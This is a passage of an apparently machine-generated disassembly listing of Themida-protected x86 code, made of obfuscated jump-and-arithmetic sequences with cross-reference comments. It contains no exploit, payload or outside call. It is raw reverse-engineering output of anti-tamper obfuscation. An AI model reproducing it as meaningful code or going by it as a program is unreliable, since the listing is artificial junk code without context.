esp, 4 mov edi, eax jmp loc_5A8302 ; --------------------------------------------------------------------------- loc_5A0090: ; CODE XREF: Themida_:005A3EC8j push 1953h mov [esp], ecx sub esp, 4 mov [esp], edi mov edi, 2Ch mov ecx, edi pop edi add ecx, 1511053Dh sub ecx, 59FF4778h jmp loc_5AC3A4 ; --------------------------------------------------------------------------- loc_5A00BA: ; CODE XREF: Themida_:0059BC4Ej add ebx, 2EEA032Fh push eax mov eax, 26E71BEBh sub ebx, eax pop eax sub ebx, eax jmp loc_5A34A0 ; --------------------------------------------------------------------------- loc_5A00D0: ; CODE XREF: Themida_:005AA44Ej mov ebp, 3D7556E9h sub ebp, 584628C3h shl ebp, 6 sub ebp, 0CDF34906h xor edi, ebp jmp loc_5AEB8F ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_5A6A9D ; --------------------------------------------------------------------------- loc_5A00F3: ; CODE XREF: Themida_:0059F060j pop ecx jmp loc_5A8DFF ; --------------------------------------------------------------------------- loc_5A00F9: ; CODE XREF: Themida_:005A95F3j pop ecx jmp loc_5A86B6 ; --------------------------------------------------------------------------- loc_5A00FF: ; CODE XREF: Themida_:0059A582j mov ebx, 593248E0h sub esi, ebx pop ebx sub esi, edi add esi, 593248E0h jmp loc_5A136A ; --------------------------------------------------------------------------- loc_5A0114: ; CODE XREF: Themida_:005A320Aj push dword ptr [esp] pop ecx add esp, 4 push esi mov esi, esp push edx mov edx, 4 jmp loc_5AD046 ; --------------------------------------------------------------------------- loc_5A0129: ; CODE XREF: Themida_:0059EAF1j add esp, 4 push dx mov dh, 4Dh sub bl, dh pop dx push eax push ebx mov bl, 9Ah mov al, bl pop ebx inc al add al, 46h sub bl, 0F3h sub bl, al add bl, 0F3h pop eax jmp loc_59AA38 ; --------------------------------------------------------------------------- loc_5A014D: ; CODE XREF: Themida_:loc_59DB22j add bp, 5E9Bh mov bx, bp mov ebp, [esp] push ebx mov ebx, esp jmp loc_5AAF63 ; --------------------------------------------------------------------------- loc_5A0160: ; CODE XREF: Themida_:005A8776j pop esi jmp loc_59E051 ; --------------------------------------------------------------------------- loc_5A0166: ; CODE XREF: Themida_:0059F3C1j push dword ptr [edi+eax*4] push 7B1Bh mov [esp], eax push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_5ACC22 ; --------------------------------------------------------------------------- loc_5A0185: ; CODE XREF: Themida_:005A5099j mov ebp, 619C0541h jmp loc_59C2BA ; --------------------------------------------------------------------------- loc_5A018F: ; CODE XREF: Themida_:005AC61Dj mov ebx, [esp] add esp, 4 sub dword ptr [esp+4], 519869EDh add dword ptr [esp+4], 7F10554Dh sub [esp+4], ebp sub dword ptr [esp+4], 7F10554Dh push ebp jmp loc_5AC9D3 ; --------------------------------------------------------------------------- loc_5A01BA: ; CODE XREF: Themida_:005ACC08j xchg ebp, [esp] jmp loc_5A154B ; --------------------------------------------------------------------------- loc_5A01C2: ; CODE XREF: Themida_:0059A6E3j jmp loc_5A484B ; --------------------------------------------------------------------------- loc_5A01C7: ; CODE XREF: Themida_:0059ADCDj jmp loc_59B0B9 ; --------------------------------------------------------------------------- loc_5A01CC: ; CODE XREF: Themida_:005AEBBAj pop ebp add ebx, ebp jmp loc_5AA8D4 ; --------------------------------------------------------------------------- loc_5A01D4: ; CODE XREF: Themida_:005A4285j jle loc_5A8C9E add edi, 1AF1251h jb loc_5AEBF0 add edi, 32A358B0h mov ecx, edi pop edi push eax mov eax, 51B029FFh shr eax, 4 push edx push 555676F5h jmp loc_5AAF04 ; --------------------------------------------------------------------------- loc_5A0203: ; CODE XREF: Themida_:005A6DA5j add ebp, ebx mov ebx, [esp] jmp loc_5989EC ; --------------------------------------------------------------------------- loc_5A020D: ; CODE XREF: Themida_:loc_5A9427j and dl, 56h jmp loc_5AB399 ; --------------------------------------------------------------------------- loc_5A0215: ; CODE XREF: Themida_:0059D167j push esp push dword ptr [esp] pop esi jmp loc_5ACA9D ; --------------------------------------------------------------------------- loc_5A021F: ; CODE XREF: Themida_:005A736Fj pop edi mov esi, ebp jmp loc_5ADC57 ; --------------------------------------------------------------------------- loc_5A0227: ; CODE XREF: Themida_:005AAACCj push dword ptr [esp+4] pop ebx jmp loc_598F9B ; --------------------------------------------------------------------------- loc_5A0231: ; CODE XREF: Themida_:005A6C18j sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], esp push 99Fh mov [esp], edi mov edi, 4 jmp loc_5A61B5 ; --------------------------------------------------------------------------- loc_5A024F: ; CODE XREF: Themida_:005A760Aj mov eax, ebx jmp loc_59A755 ; --------------------------------------------------------------------------- loc_5A0256: ; CODE XREF: Themida_:0059908Aj jmp loc_5AC94A ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 jmp loc_59FAD5 ; --------------------------------------------------------------------------- loc_5A026A: ; CODE XREF: Themida_:005A88E6j jmp loc_5A74E5 ; --------------------------------------------------------------------------- loc_5A026F: ; CODE XREF: Themida_:0059B2CEj sub edx, 4CAD6108h add edx, edi add edx, 4CAD6108h pop edi add edx, 286D42EAh add edx, eax push ebp push ecx mov ecx, 476E5DE8h mov ebp, 92C97DE5h sub ebp, ecx pop ecx jmp loc_5A0BFD ; --------------------------------------------------------------------------- loc_5A029A: ; CODE XREF: Themida_:0059A9EEj ; Themida_:005A038Cj add esp, 4 push edi jmp loc_5AB3E5 ; --------------------------------------------------------------------------- loc_5A02A3: ; CODE XREF: Themida_:0059AF44j pop eax add ecx, 4 xchg ecx, [esp] pop esp xor edx, edx jmp loc_5A4554 ; --------------------------------------------------------------------------- loc_5A02B2: ; CODE XREF: Themida_:005A0A08j shr ebp, 1 jmp loc_5A99A3 ; --------------------------------------------------------------------------- loc_5A02B9: ; CODE XREF: Themida_:005A4DD0j sub edx, 23A33C06h sub edx, 6EF64C5Eh sub edx, ebp jmp loc_5A4137 ; --------------------------------------------------------------------------- loc_5A02CC: ; CODE XREF: Themida_:0059D29Ej pop eax push edi pop ebx pop edi shr ebx, 1 xor ebx, 3E84B788h add ecx, ebx push dword ptr [esp] pop ebx add esp, 4 sub esp, 4 mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 jmp loc_5988E9 ; --------------------------------------------------------------------------- loc_5A02FC: ; CODE XREF: Themida_:0059BEA1j pop eax push eax mov ah, 0B2h dec ah shr ah, 2 neg ah or ah, 3Fh jmp loc_5A03D8 ; --------------------------------------------------------------------------- loc_5A030F: ; CODE XREF: Themida_:005AC6CBj mov ebx, 55784D7Bh or ebp, ebx pop ebx dec ebp xor ebp, 28871EC2h push edx mov edx, 1E1C7304h add edx, 0BA9F0F99h add ebp, edx pop edx xor eax, ebp pop ebp jmp loc_59B0B9 ; --------------------------------------------------------------------------- loc_5A0335: ; CODE XREF: Themida_:00598754j add esp, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] imul ecx, eax push ecx pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A034B: ; CODE XREF: Themida_:005AB046j add dword ptr [esp], 4 pop edi add edi, 4 push eax jmp loc_5A1B08 ; --------------------------------------------------------------------------- loc_5A035F: ; CODE XREF: Themida_:005A2CCFj push 1373h mov [esp], ebx mov ebx, 0C33DB863h sub ecx, 66A14739h sub ecx, 34C5392Ah sub ecx, ebx add ecx, 34C5392Ah add ecx, 66A14739h pop ebx or ebx, ecx mov ecx, [esp] jmp loc_5A029A ; --------------------------------------------------------------------------- loc_5A0391: ; CODE XREF: Themida_:0059BFF1j ; Themida_:005AE0E3j push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] jmp loc_5A1A82 ; --------------------------------------------------------------------------- loc_5A03A3: ; CODE XREF: Themida_:005AB567j add edx, 3E587587h add edx, 5B475644h jmp loc_5A14C8 ; --------------------------------------------------------------------------- mov ax, [esp] push 4AEh mov [esp], esi jmp loc_5AE61F ; --------------------------------------------------------------------------- loc_5A03C5: ; CODE XREF: Themida_:005A2286j push ebx jmp loc_5A91A7 ; --------------------------------------------------------------------------- loc_5A03CB: ; CODE XREF: Themida_:005A77BEj mov ecx, 0FFFFFFFFh sub edi, ecx pop ecx jmp loc_5A8AA4 ; --------------------------------------------------------------------------- loc_5A03D8: ; CODE XREF: Themida_:005A030Aj push edx push eax mov al, 49h dec al jmp loc_598C34 ; --------------------------------------------------------------------------- loc_5A03E3: ; CODE XREF: Themida_:0059DC14j mov ebx, [esp] add esp, 4 jmp loc_59F4AB ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 push esi sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 mov esi, [esp] push ebx mov ebx, esp add ebx, 4 push ebp mov ebp, 4 add ebx, ebp pop ebp jmp loc_5AA268 ; --------------------------------------------------------------------------- loc_5A0421: ; CODE XREF: Themida_:0059F49Bj ; Themida_:005A5337j add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_59CEC1 ; --------------------------------------------------------------------------- loc_5A0433: ; CODE XREF: Themida_:005A9474j pop ecx push 6EECh jmp loc_59EF40 ; --------------------------------------------------------------------------- loc_5A043E: ; CODE XREF: Themida_:005AB313j pop esp push 0C43h mov [esp], ebx mov ebx, 65DA33CEh sub eax, ebx push dword ptr [esp] pop ebx push 8A7h jmp loc_5ACC52 ; --------------------------------------------------------------------------- loc_5A045C: ; CODE XREF: Themida_:0059F94Cj shr ebx, 5 add ebx, 77093D03h neg ebx sub ebx, 0FFFFFFFFh add ebx, 797B185Fh add edx, 7F3B5307h jmp loc_5AB8F0 ; --------------------------------------------------------------------------- loc_5A047B: ; CODE XREF: Themida_:0059DFF1j ; Themida_:0059F9C2j mov ecx, 0 jmp loc_5986DF ; --------------------------------------------------------------------------- loc_5A0485: ; CODE XREF: Themida_:0059DE18j add edx, 44F93754h push 6ECEh mov [esp], esi pop dword ptr [edx] mov edx, [esp] add esp, 4 mov esi, [esp] push ecx mov ecx, esp jmp loc_59AF30 ; --------------------------------------------------------------------------- loc_5A04A9: ; CODE XREF: Themida_:005A21D2j push ecx mov ecx, 608C2772h shr ecx, 4 add ecx, 78650FA3h inc ecx jmp loc_5AB2C7 ; --------------------------------------------------------------------------- loc_5A04BE: ; CODE XREF: Themida_:00598718j mov dh, bh pop ebx sub al, dh pop edx push cx mov cl, 2Eh sub al, 90h sub al, cl add al, 90h jmp loc_5A84DA ; --------------------------------------------------------------------------- loc_5A04D3: ; CODE XREF: Themida_:00598C3Dj neg al add al, 90h mov dl, al pop eax jmp loc_5A422C ; --------------------------------------------------------------------------- loc_5A04DF: ; CODE XREF: Themida_:005A2515j push 4F12h mov [esp], edx mov edx, 41787CB0h jmp loc_5A8CDF ; --------------------------------------------------------------------------- loc_5A04F1: ; CODE XREF: Themida_:0059CE5Cj ; Themida_:0059D25Cj push 5ECAh mov [esp], esp add dword ptr [esp], 4 pop eax add eax, 4 add eax, 4 xchg eax, [esp] pop esp push esi push esp pop esi push eax mov eax, 4 add esi, eax jmp loc_5AD4D2 ; --------------------------------------------------------------------------- loc_5A051F: ; CODE XREF: Themida_:005988D4j add esp, 4 push edi jmp loc_5A7283 ; --------------------------------------------------------------------------- loc_5A052B: ; CODE XREF: Themida_:0059F65Dj push edi sub esp, 4 jmp loc_5AE846 ; --------------------------------------------------------------------------- loc_5A0537: ; CODE XREF: Themida_:0059CEA2j neg edx add edx, 0DC62CE10h sub ebp, edx pop edx sub ebx, 4DAF0625h jmp loc_5A5944 ; --------------------------------------------------------------------------- loc_5A054D: ; CODE XREF: Themida_:005988F2j add esp, 4 mov cl, bh pop ebx jmp loc_59935F ; --------------------------------------------------------------------------- loc_5A055B: ; CODE XREF: Themida_:00599591j ; Themida_:0059F290j push dword ptr [esp] pop edi add esp, 4 loc_5A0562: ; CODE XREF: Themida_:0059D8C8j sub esp, 4 jmp loc_59D7D7 ; --------------------------------------------------------------------------- loc_5A056D: ; CODE XREF: Themida_:005AF416j push ebp pop edx pop ebp not ebp push edx sub esp, 4 mov [esp], ebp pop edx mov ebp, [esp] add esp, 4 not edx sub edx, 2EED2DFCh sub esi, 54DF5624h add esi, edx push edx mov edx, 54DF5624h add esi, edx mov edx, [esp] add esp, 4 pop edx xchg esi, [esp] jmp loc_5A8362 ; --------------------------------------------------------------------------- loc_5A05AA: ; CODE XREF: Themida_:005A57A1j mov eax, [esp] jmp loc_5A6115 ; --------------------------------------------------------------------------- loc_5A05B2: ; CODE XREF: Themida_:005A0E6Fj shr edi, 8 jp loc_5ADBEA add edi, 1B748BEFh sub edi, 4E284FD3h not edi not edi neg edi sub edi, 7E9365Fh sub edi, 2A9B9C13h jmp loc_5A1375 ; --------------------------------------------------------------------------- loc_5A05DE: ; CODE XREF: Themida_:005A3045j mov [esp], eax push 4 mov eax, [esp] add esp, 4 jmp loc_5A3595 ; --------------------------------------------------------------------------- loc_5A05F4: ; CODE XREF: Themida_:005A3698j jmp loc_59D306 ; --------------------------------------------------------------------------- loc_5A05F9: ; CODE XREF: Themida_:0059EB87j pop edx push esi push esp pop esi add esi, 4 jmp loc_5AAC3A ; --------------------------------------------------------------------------- loc_5A0608: ; CODE XREF: Themida_:0059C53Aj mov ebp, esp add ebp, 4 jmp loc_5AA2D1 ; --------------------------------------------------------------------------- loc_5A0615: ; CODE XREF: Themida_:005AD533j push 4E58h jmp loc_59FFEB ; --------------------------------------------------------------------------- loc_5A061F: ; CODE XREF: Themida_:0059875Cj ; Themida_:005A282Fj push dword ptr [esp] jmp loc_5AC49E ; --------------------------------------------------------------------------- loc_5A0627: ; CODE XREF: Themida_:005A8EAFj pop ebx jmp loc_59FF89 ; --------------------------------------------------------------------------- loc_5A062D: ; CODE XREF: Themida_:00599276j xor [ebx], ebp pop ebx pop ebp push dword ptr [esp] mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], ecx push esp pop ecx push ebp mov ebp, 49BF324Fh shr ebp, 4 push ebx mov ebx, 7CA3774Eh jmp loc_5AD9C4 ; --------------------------------------------------------------------------- loc_5A0659: ; CODE XREF: Themida_:loc_5A4498j shl esi, 5 jnp loc_5A07E6 jmp loc_5A3C70 ; --------------------------------------------------------------------------- pop edx push eax mov ah, 0D6h loc_5A066C: ; CODE XREF: Themida_:0059ACF3j add edx, ebx jmp loc_5AB9FB ; --------------------------------------------------------------------------- loc_5A0673: ; CODE XREF: Themida_:005A3EACj xchg edx, [esp] pop esp sub esp, 4 jmp loc_5A2EC6 ; --------------------------------------------------------------------------- loc_5A067F: ; CODE XREF: Themida_:005A0FB3j neg al add al, 9Eh jmp loc_5A524D ; --------------------------------------------------------------------------- loc_5A0688: ; CODE XREF: Themida_:005ADB5Fj mov esp, [esp] mov ax, [esp] sub esp, 4 mov [esp], ebp jmp loc_5A1C97 ; --------------------------------------------------------------------------- loc_5A069D: ; CODE XREF: Themida_:0059EE78j pop esi pop edx push 630Fh mov [esp], esi push 1B99h mov [esp], ebp pop esi pop ebp not ebp xchg ebp, esi xchg ecx, esi not ecx jmp loc_5AD303 ; --------------------------------------------------------------------------- loc_5A06BE: ; CODE XREF: Themida_:0059B40Fj ; Themida_:0059FC82j push ebx push dword ptr [esp+4] mov ebx, [esp] jmp loc_5AC725 ; --------------------------------------------------------------------------- loc_5A06CB: ; CODE XREF: Themida_:0059FFA7j jno loc_598802 sub esi, 58FCF9A3h mov ebp, edx mov esi, ecx loc_5A06DB: ; CODE XREF: Themida_:005AF19Dj mov esi, [esp] jmp loc_5AB7A3 ; --------------------------------------------------------------------------- loc_5A06E3: ; CODE XREF: Themida_:0059B8A2j mov edx, esp add edx, 4 jmp loc_5A95EB ; --------------------------------------------------------------------------- loc_5A06F0: ; CODE XREF: Themida_:0059CD20j shr eax, 8 neg eax jz loc_598917 xor eax, 0F86E6651h push edi mov edi, eax mov ebx, edi pop edi mov eax, [esp] jmp loc_5A6F5C ; --------------------------------------------------------------------------- loc_5A070E: ; CODE XREF: Themida_:005AC16Aj push edx mov edx, 72F90669h add eax, edx pop edx sub eax, 6AA14952h add eax, ecx add eax, 6AA14952h jmp loc_5A70C2 ; --------------------------------------------------------------------------- loc_5A0728: ; CODE XREF: Themida_:005AB19Cj jmp loc_5A0BD8 ; --------------------------------------------------------------------------- loc_5A072D: ; CODE XREF: Themida_:005ACA25j sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebp push 5E47h jmp loc_5A7EE7 ; --------------------------------------------------------------------------- loc_5A0744: ; CODE XREF: Themida_:005AD96Aj xchg ebp, [esp] pop esp jmp loc_5AD9E4 ; --------------------------------------------------------------------------- loc_5A074D: ; CODE XREF: Themida_:005A987Fj mov [esp], ebp mov ebp, 4 add [esp+4], ebp pop ebp pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] pop eax push 33Bh mov [esp], ebp push esp pop ebp jmp loc_5990F2 ; --------------------------------------------------------------------------- loc_5A0777: ; CODE XREF: Themida_:005A39E6j pop esp push edi mov edi, 25382AA9h jmp loc_5AB49A ; --------------------------------------------------------------------------- loc_5A0783: ; CODE XREF: Themida_:005ABFF9j pop esi add esp, 4 sub esp, 2 mov [esp], dx jmp loc_5A721E ; --------------------------------------------------------------------------- loc_5A0799: ; CODE XREF: Themida_:0059B3B4j add eax, edi jmp loc_5AB5EE ; --------------------------------------------------------------------------- loc_5A07A0: ; CODE XREF: Themida_:005A6DBBj push eax mov eax, esp push edi jmp loc_59B3AF ; --------------------------------------------------------------------------- loc_5A07A9: ; CODE XREF: Themida_:0059D64Aj mov [esp], ebp mov ebp, esp add ebp, 4 push edi jmp loc_5A5E39 ; --------------------------------------------------------------------------- loc_5A07BA: ; CODE XREF: Themida_:005A9904j add edx, 4 jmp loc_5ABF88 ; --------------------------------------------------------------------------- loc_5A07C5: ; CODE XREF: Themida_:005ACABFj add ah, 10h push edx mov dl, ah jmp loc_59B198 ; --------------------------------------------------------------------------- loc_5A07D0: ; CODE XREF: Themida_:0059FA84j ; Themida_:005A8805j ... add ecx, 0DE439C4Fh jmp loc_5AA0F8 ; --------------------------------------------------------------------------- loc_5A07DB: ; CODE XREF: Themida_:005A3CBEj xor edi, [esp] xor [esp], edi jmp loc_5AA46E ; --------------------------------------------------------------------------- loc_5A07E6: ; CODE XREF: Themida_:005A065Cj jmp loc_5A6347 ; --------------------------------------------------------------------------- loc_5A07EB: ; CODE XREF: Themida_:005AEDBEj pop edx push eax mov eax, 0 add eax, 6FE204Fh add eax, ebx sub eax, 6FE204Fh push dword ptr [eax] push 24CBh jmp loc_59A0D2 ; --------------------------------------------------------------------------- loc_5A080A: ; CODE XREF: Themida_:0059A5ADj or cl, bl pop ebx sub cl, 0CBh jmp loc_5ADA67 ; --------------------------------------------------------------------------- loc_5A0815: ; CODE XREF: Themida_:005A7E07j push ebx jmp loc_59CB0C ; --------------------------------------------------------------------------- loc_5A081B: ; CODE XREF: Themida_:005AE2A9j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] movzx cx, al sub esp, 4 mov [esp], edi push esp jmp loc_5A17EF ; --------------------------------------------------------------------------- loc_5A0837: ; CODE XREF: Themida_:005A62D5j add esp, 4 or eax, eax jnz loc_59CA19 mov edx, 56E45881h dec edx jmp loc_5A1F7A ; --------------------------------------------------------------------------- loc_5A084D: ; CODE XREF: Themida_:005A7F2Ej sub esi, 0FFFFFFFFh jmp loc_59EEFD ; --------------------------------------------------------------------------- loc_5A0855: ; CODE XREF: Themida_:0059CA42j jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A085A: ; CODE XREF: Themida_:005A7088j jg loc_5AA584 neg ebp jbe loc_59CB05 jmp loc_59D98B ; --------------------------------------------------------------------------- loc_5A086D: ; CODE XREF: Themida_:005AE60Bj add edx, esi add edx, 77427A6h mov esi, [esp] add esp, 4 sub edx, 4 xor edx, [esp] xor [esp], edx jmp loc_5A7A8B ; --------------------------------------------------------------------------- loc_5A088F: ; CODE XREF: Themida_:005A4FAAj push esp jmp loc_5A9E5F ; --------------------------------------------------------------------------- mov ax, [esp] push 0B7Dh mov [esp], ebx push esp pop ebx push 4637h mov [esp], eax push 2EDF1025h pop eax jmp loc_5A52A8 ; --------------------------------------------------------------------------- loc_5A08B6: ; CODE XREF: Themida_:005AE50Bj mov fs:[edx], al jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A08BE: ; CODE XREF: Themida_:0059D127j xchg esi, [esp] pop esp jmp loc_59E827 ; --------------------------------------------------------------------------- loc_5A08C7: ; CODE XREF: Themida_:005995FCj ; Themida_:005AA7A8j push ecx jmp loc_59DA12 ; --------------------------------------------------------------------------- loc_5A08CD: ; CODE XREF: Themida_:005A248Aj ; Themida_:005A2ED6j pop esp jmp loc_5AD8CE ; --------------------------------------------------------------------------- loc_5A08D3: ; CODE XREF: Themida_:005AD640j xor eax, ecx jmp loc_5ABDA1 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] push 517Bh jmp loc_5A531E ; --------------------------------------------------------------------------- loc_5A08EA: ; CODE XREF: Themida_:005A33BBj pop esi push ebp jmp loc_5A6D7F ; --------------------------------------------------------------------------- loc_5A08F1: ; CODE XREF: Themida_:0059E9EEj ; Themida_:005A4FD4j push edx push 2FFA2005h jmp loc_5AB3B3 ; --------------------------------------------------------------------------- loc_5A08FC: ; CODE XREF: Themida_:005AD29Cj shl ebx, 6 and ebx, 2AAC54DBh shr ebx, 2 sub ebx, 0FDBFF5B1h jmp loc_5AD208 ; --------------------------------------------------------------------------- loc_5A0913: ; CODE XREF: Themida_:0059A43Fj inc ebx js loc_59D26F xor ebx, 9C84D652h mov ebp, ebx mov ebx, [esp] loc_5A0925: ; CODE XREF: Themida_:005A1FA8j ; Themida_:005AD984j push edx mov edx, 42861F9Ch jmp loc_5A5310 ; --------------------------------------------------------------------------- loc_5A0930: ; CODE XREF: Themida_:0059D2D6j xor dl, 0A9h jmp loc_5AD92A ; --------------------------------------------------------------------------- loc_5A0938: ; CODE XREF: Themida_:005A6B48j pop ebp sub ebx, edx sub esp, 4 mov [esp], ebp mov ebp, 7F1A39A2h neg ebp xor ebp, 48784FC6h jge loc_5A8D08 dec ebp jo loc_5A4C04 or ebp, 0DF93974h jp loc_59B666 neg ebp jg loc_5AEB97 push ecx mov ecx, 3C91C503h add ebp, ecx pop ecx xchg esi, ebp loc_5A097D: ; CODE XREF: Themida_:00598449j pop eax jmp loc_5A5A5A ; --------------------------------------------------------------------------- mov eax, [esp] push eax mov eax, esp push ecx mov ecx, 4 sub eax, 35781730h add eax, ecx add eax, 35781730h pop ecx jmp loc_5A1063 ; --------------------------------------------------------------------------- loc_5A09A1: ; CODE XREF: Themida_:0059C1F1j pop edx xor edx, 0E438F93Eh push 2B78h mov [esp], ebx mov ebx, edx mov ecx, ebx pop ebx jmp loc_5A6B63 ; --------------------------------------------------------------------------- loc_5A09BA: ; CODE XREF: Themida_:0059BAC7j add ebp, 34D451DBh sub ebp, 51F302EFh shl ebp, 4 sub ebp, 1 sub ebp, 0FFFFFFFFh jmp loc_59E7F9 ; --------------------------------------------------------------------------- loc_5A09D7: ; CODE XREF: Themida_:005989A1j xchg edi, esi not edi xchg edi, esi sub esi, 8BAB961Eh xor ecx, esi pop esi xor ebx, ecx pop ecx add ecx, ebx mov ebx, [esp] add esp, 4 push 365Ch mov [esp], ecx push dword ptr [esp+4] jmp loc_5A229D ; --------------------------------------------------------------------------- loc_5A0A05: ; CODE XREF: Themida_:005AC2AAj ; Themida_:loc_5AD790j shr ebp, 2 jz loc_5A02B2 shr ebp, 1 jmp loc_5AB2C7 ; --------------------------------------------------------------------------- loc_5A0A15: ; CODE XREF: Themida_:005ABBDEj ; Themida_:005AD80Aj not esi sub esi, 0E4F4A5DDh add ecx, esi pop esi sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_5A81F8 ; --------------------------------------------------------------------------- loc_5A0A2F: ; CODE XREF: Themida_:0059946Dj ; Themida_:0059B141j push ecx mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_5AEE14 ; --------------------------------------------------------------------------- loc_5A0A43: ; CODE XREF: Themida_:0059D488j not ecx dec ecx jmp loc_5A0B6A ; --------------------------------------------------------------------------- loc_5A0A4B: ; CODE XREF: Themida_:005AAEB5j sub edi, ebx pop ebx sub ebx, 4B0436E3h push eax push esi push 2611541Eh pop esi shr esi, 5 xor esi, 16CA010Dh jmp loc_5AF3E4 ; --------------------------------------------------------------------------- loc_5A0A6A: ; CODE XREF: Themida_:0059B2A3j mov edx, esp jmp loc_59959F ; --------------------------------------------------------------------------- loc_5A0A71: ; CODE XREF: Themida_:005AEB47j add ebx, 0A7672EEh jno loc_5A7D38 jmp loc_59A2CD ; --------------------------------------------------------------------------- push esp pop ebx push ecx mov ecx, 4 mov ch, al loc_5A0A8C: ; CODE XREF: Themida_:005ACF89j sub ebx, 0A845715h push ebx jmp loc_59D5FF ; --------------------------------------------------------------------------- loc_5A0A98: ; CODE XREF: Themida_:005A7C84j push edi jmp loc_5AA3C1 ; --------------------------------------------------------------------------- loc_5A0A9E: ; CODE XREF: Themida_:005A5062j add ebx, 4 jmp loc_5AEA23 ; --------------------------------------------------------------------------- loc_5A0AA9: ; CODE XREF: Themida_:005A4F3Cj pop edi pop eax neg esi jno loc_5A58E2 sub esi, 0FFFFFFFFh xor esi, 0E553FE8Ah xor eax, esi mov esi, [esp] loc_5A0AC1: ; CODE XREF: Themida_:005AAF52j xor edx, 1009146Fh jns loc_5AD93D shl edx, 3 jmp loc_59A42C ; --------------------------------------------------------------------------- add esp, 4 loc_5A0AD8: ; CODE XREF: Themida_:00598720j shl ah, 6 sub ah, 8Ah jns loc_5A7A5C jmp loc_5A908E ; --------------------------------------------------------------------------- sub ebx, 140148EAh loc_5A0AEF: ; CODE XREF: Themida_:005A8C32j sub esp, 4 mov [esp], ecx push eax mov ah, 3Bh mov ch, 70h xor ch, ah jmp loc_599B5E ; --------------------------------------------------------------------------- xor [esp], edi xor edi, [esp] xor [esp], edi push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edi push ecx pop edi pop ecx xor ecx, ebx xor ebx, ecx xor ecx, ebx jmp loc_5AD65B ; --------------------------------------------------------------------------- loc_5A0B2B: ; CODE XREF: Themida_:0059A9E8j jmp loc_5AAC5F ; --------------------------------------------------------------------------- loc_5A0B30: ; CODE XREF: Themida_:005A6A20j mov ecx, [esp] jmp loc_59AFCE ; --------------------------------------------------------------------------- loc_5A0B38: ; CODE XREF: Themida_:005ABD39j sub eax, 2E8A5AE4h mov ecx, [esp] add esp, 4 jmp loc_59B9DD ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_5A42DB ; --------------------------------------------------------------------------- loc_5A0B6A: ; CODE XREF: Themida_:005A0A46j not ecx shr ecx, 1 jmp loc_59A21A ; --------------------------------------------------------------------------- loc_5A0B73: ; CODE XREF: Themida_:00599691j jz loc_5A9805 xor esi, 2D21BCABh push 4BBDh mov [esp], eax push esi add dword ptr [esp], 23652598h pop eax jmp loc_59C4A3 ; --------------------------------------------------------------------------- loc_5A0B95: ; CODE XREF: Themida_:005A9403j pop ebx xor dh, bh xor bh, dh xor dh, bh push cx mov cl, bh not cl mov bh, cl mov cx, [esp] add esp, 2 xchg bh, dh jmp loc_59C0E4 ; --------------------------------------------------------------------------- loc_5A0BB2: ; CODE XREF: Themida_:005AD8E9j add [esp+8], edx push dword ptr [esp] pop edx add esp, 4 jmp loc_5A297C ; --------------------------------------------------------------------------- loc_5A0BC5: ; CODE XREF: Themida_:0059B5D8j add ecx, 9470C21h push dword ptr [esp] pop eax add esp, 4 push esi jmp loc_59D9B4 ; --------------------------------------------------------------------------- loc_5A0BD8: ; CODE XREF: Themida_:loc_5A0728j shl edi, 2 jmp loc_5A2255 ; --------------------------------------------------------------------------- loc_5A0BE0: ; CODE XREF: Themida_:0059AB87j mov dl, cl mov ecx, [esp] add esp, 4 shl dl, 8 push bx push edx mov dh, 0C4h mov bl, 0BFh add bl, dh pop edx jmp loc_599676 ; --------------------------------------------------------------------------- loc_5A0BFD: ; CODE XREF: Themida_:005A0295j ; Themida_:005AAFEDj inc ebp jmp loc_5AEFA8 ; --------------------------------------------------------------------------- loc_5A0C03: ; CODE XREF: Themida_:0059CEEAj xchg ecx, [esp] pop esp mov [esp], ecx jmp loc_5AEA15 ; --------------------------------------------------------------------------- loc_5A0C0F: ; CODE XREF: Themida_:005A499Ej add ebx, 4 add ebx, 4 jmp loc_59BB9C ; --------------------------------------------------------------------------- loc_5A0C1D: ; CODE XREF: Themida_:0059CDEDj push edi push 56C80759h jmp loc_59D096 ; --------------------------------------------------------------------------- loc_5A0C28: ; CODE XREF: Themida_:0059CF06j push eax mov al, 0D4h add cl, al jmp loc_59EA91 ; --------------------------------------------------------------------------- mov ax, fs:[edx] push ebx mov ebx, esp push ecx push edi mov edi, 15722BC3h mov ecx, 15722BC7h xor ecx, edi mov edi, [esp] add esp, 4 add ebx, ecx pop ecx jmp loc_5AC22F ; --------------------------------------------------------------------------- loc_5A0C58: ; CODE XREF: Themida_:005AF4E6j pop esi push ecx push ebx mov ebx, 304E7DEDh mov ecx, ebx jmp loc_59844E ; --------------------------------------------------------------------------- loc_5A0C67: ; CODE XREF: Themida_:005A13E3j or ebp, 3A534ADh push 0 sub [esp], ebp pop ebp sub ebp, 0D8004B0Fh push ebp jmp loc_5ABC48 ; --------------------------------------------------------------------------- loc_5A0C82: ; CODE XREF: Themida_:0059D7F8j push ecx not byte ptr [esp] jmp loc_59C68B ; --------------------------------------------------------------------------- loc_5A0C8B: ; CODE XREF: Themida_:005A1562j push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_599129 ; 